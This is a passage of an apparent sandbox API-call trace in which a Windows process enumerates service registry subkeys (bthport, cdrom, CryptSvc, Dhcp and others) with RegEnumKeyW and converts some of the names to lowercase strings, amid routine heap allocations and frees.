lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.537] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.537] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.537] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0232.537] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.537] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.537] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.538] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.538] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.538] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.538] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0232.538] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.539] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0232.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0232.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0232.539] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.539] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0232.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0232.539] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0232.539] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0232.539] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0232.539] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0232.539] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0232.539] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0232.539] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0232.539] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0232.540] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0232.541] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0232.542] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0232.543] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0232.544] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0232.545] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0232.546] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0232.547] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 